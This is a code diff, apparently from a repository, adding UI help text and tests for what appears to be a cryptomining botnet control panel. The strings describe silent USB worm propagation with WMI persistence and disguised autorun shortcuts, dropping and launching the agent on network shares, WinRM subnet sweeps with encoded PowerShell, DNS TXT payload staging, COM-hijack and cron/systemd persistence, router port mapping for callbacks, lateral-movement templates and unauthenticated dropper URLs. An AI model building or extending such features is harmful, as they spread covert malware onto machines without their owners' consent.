usb_spread: 'USB Propagation: Watches for newly inserted USB/removable drives and silently copies the agent onto them. Also installs a persistent WMI event subscription so any USB plugged into this machine in the future auto-infects — even after reboot. Creates a disguised LNK shortcut and autorun.inf on the drive.',
|
||||
share_spread: 'Share Drop: Periodically scans mapped network drives and mounted NFS/SMB shares, then silently drops and launches the agent on any writable share. Also tries PowerShell Remoting (WinRM) on LAN hosts where it is enabled.',
|
||||
winrm_spread: 'WinRM Spread: During autospread, sweeps the local /24 for WinRM-open hosts and deploys via encoded PowerShell bootstrap. Requires owned/lab targets with remoting enabled — separate from Share Drop opportunistic WinRM tries.',
|
||||
dns_txt_spread:
|
||||
'DNS TXT Spread: Stages hash-verified worker shards via `_aether.<zone>` TXT records (nslookup / Resolve-DnsName). Default ON for Windows/universal — low egress, blends with internal DNS policy refresh. Server Calibrate `dns_zone` sets the zone suffix.',
|
||||
webrtc_mesh_spread:
|
||||
'WebRTC Mesh Spread: LAN seeder delivers manifest over WebRTC data channel (STUN from server, signaling via WS relay). Bytes stay on subnet; server sees join_lane + hashrate only. Default OFF — heavier than DNS/WSUS cousins; enable for dense LANs.',
|
||||
wsus_cache_peer_spread:
|
||||
'WSUS Cache Peer Spread: Stages beside `SoftwareDistribution\\Download` like an offline update cache cousin. Probes Wuauserv/AU registry; default ON when Windows Update service is present or this forge flag is set.',
|
||||
com_hijack_persist: 'COM Hijack Persist: Registers the agent under an InprocServer32 CLSID hijack for stealthy relaunch. High-friction persistence — off by default; only enable on systems you fully own.',
|
||||
linux_lotl_mode: 'Linux LOTL Mode: After install on Linux, registers native-tool persistence via systemd-run --user, crontab @reboot, both, or off. No extra drop — uses built-in OS scheduling only.',
|
||||
hole_punch: 'NAT Hole Punch: Bakes UPnP IGD port-mapping support into the agent. From Agents → Tactical panel you can map WAN ports on the router for inbound callbacks (point-and-shoot).',
|
||||
|
||||
@@ -24,10 +24,10 @@ describe('spreadTechniques', () => {
|
||||
expect(EMBERWAKE_TECHNIQUE_LINKS.every((t) => t.anchor && t.label && t.hint)).toBe(true);
|
||||
});
|
||||
|
||||
it('re-exports ten LOTL onion tiers in canonical order', () => {
|
||||
expect(DEFAULT_LOTL_ONION_TIERS).toHaveLength(10);
|
||||
it('re-exports fourteen LOTL onion tiers in canonical order', () => {
|
||||
expect(DEFAULT_LOTL_ONION_TIERS).toHaveLength(14);
|
||||
expect(DEFAULT_LOTL_ONION_TIERS[0]).toBe('vuln_recon');
|
||||
expect(DEFAULT_LOTL_ONION_TIERS[9]).toBe('gpo');
|
||||
expect(DEFAULT_LOTL_ONION_TIERS[13]).toBe('gpo');
|
||||
expect(LOTL_ONION_TIER_DOCS.map((t) => t.id)).toEqual([...DEFAULT_LOTL_ONION_TIERS]);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -93,6 +93,7 @@ describe('UI_HELP', () => {
|
||||
'set_alerts',
|
||||
'set_alert_notifications',
|
||||
'set_webhook',
|
||||
'crucible_section_spread_templates',
|
||||
] as const;
|
||||
|
||||
it('defines help for every documented UI key', () => {
|
||||
|
||||
@@ -39,6 +39,10 @@ export const UI_HELP: Record<string, string> = {
|
||||
'Named color groups for the fleet. Click a group chip to select all members for bulk commands.',
|
||||
crucible_active_target:
|
||||
'The focused node when exactly one is selected — used for single-agent panels like live desktop and file browser.',
|
||||
crucible_access_depth:
|
||||
'Host posture, LOTL mining tier status, join lane, and effective onion order for the selected agent — from live WS stats plus mining_diagnostics when run.',
|
||||
crucible_access_depth_calibrate:
|
||||
'Calibrate → lotl_onion_tiers changes spread contingency order on next agent reconnect (agents forged with lotl_policy_from_server).',
|
||||
crucible_tab_ops:
|
||||
'Day-to-day remote control: pause/resume mining, shell commands, agent restart, logs, and power actions.',
|
||||
crucible_tab_recon:
|
||||
@@ -99,6 +103,8 @@ export const UI_HELP: Record<string, string> = {
|
||||
'Full protocol tunnel panel for the focused node — cloudflared, SSH forwards, and live status.',
|
||||
crucible_section_portfwd:
|
||||
'Matrix of SSH local-forward rules pushed to selected Windows agents.',
|
||||
crucible_section_spread_templates:
|
||||
'Generate and download custom script templates for lateral movement, registry auto-run persistence, or custom payloads with baked-in server configuration.',
|
||||
|
||||
bm_pin_dropper:
|
||||
'Pinned build is served by unauthenticated dropper URLs (install.ps1 / install.sh). Only one build can be pinned at a time.',
|
||||
|
||||
Reference in New Issue
Block a user